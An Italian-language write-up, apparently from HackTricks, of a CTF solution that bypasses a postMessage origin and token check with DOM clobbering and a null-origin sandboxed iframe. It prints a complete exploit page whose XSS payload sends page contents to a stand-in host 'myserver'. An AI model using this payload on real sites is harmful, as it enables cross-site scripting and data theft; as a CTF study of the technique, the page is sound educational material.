Bypassing SOP with Iframes - 2

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-2

Nella soluzione per questa sfida, @Strellic_ propone un metodo simile alla sezione precedente. Vediamolo.

In questa sfida l'attaccante deve eludere questo:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Se lo fa, può inviare un postmessage con contenuto HTML che verrà scritto nella pagina con innerHTML senza sanificazione (XSS).

Il modo per aggirare il primo controllo è rendere window.calc.contentWindow uguale a undefined e e.source uguale a null:

  • window.calc.contentWindow è in realtà document.getElementById("calc"). Puoi sovrascrivere document.getElementById con <img name=getElementById /> (nota che l'API Sanitizer -qui- non è configurata per proteggere contro attacchi di sovrascrittura del DOM nel suo stato predefinito).

  • Pertanto, puoi sovrascrivere document.getElementById("calc") con <img name=getElementById /><div id=calc></div>. Quindi, window.calc sarà undefined.

  • Ora, abbiamo bisogno che e.source sia undefined o null (perché viene utilizzato == invece di ===, null == undefined è True). Ottenere questo è "facile". Se crei un iframe e invii un postMessage da esso e immediatamente rimuovi l'iframe, e.origin sarà null. Controlla il seguente codice

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Per aggirare il secondo controllo sul token, è possibile inviare il token con valore null e impostare il valore di window.token su undefined:

  • L'invio del token tramite postMessage con valore null è banale.

  • window.token viene richiamato dalla funzione getCookie che utilizza document.cookie. Si noti che qualsiasi accesso a document.cookie nelle pagine di origine null genera un errore. Ciò farà sì che window.token abbia valore undefined.

La soluzione finale proposta da @terjanq è la seguente:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated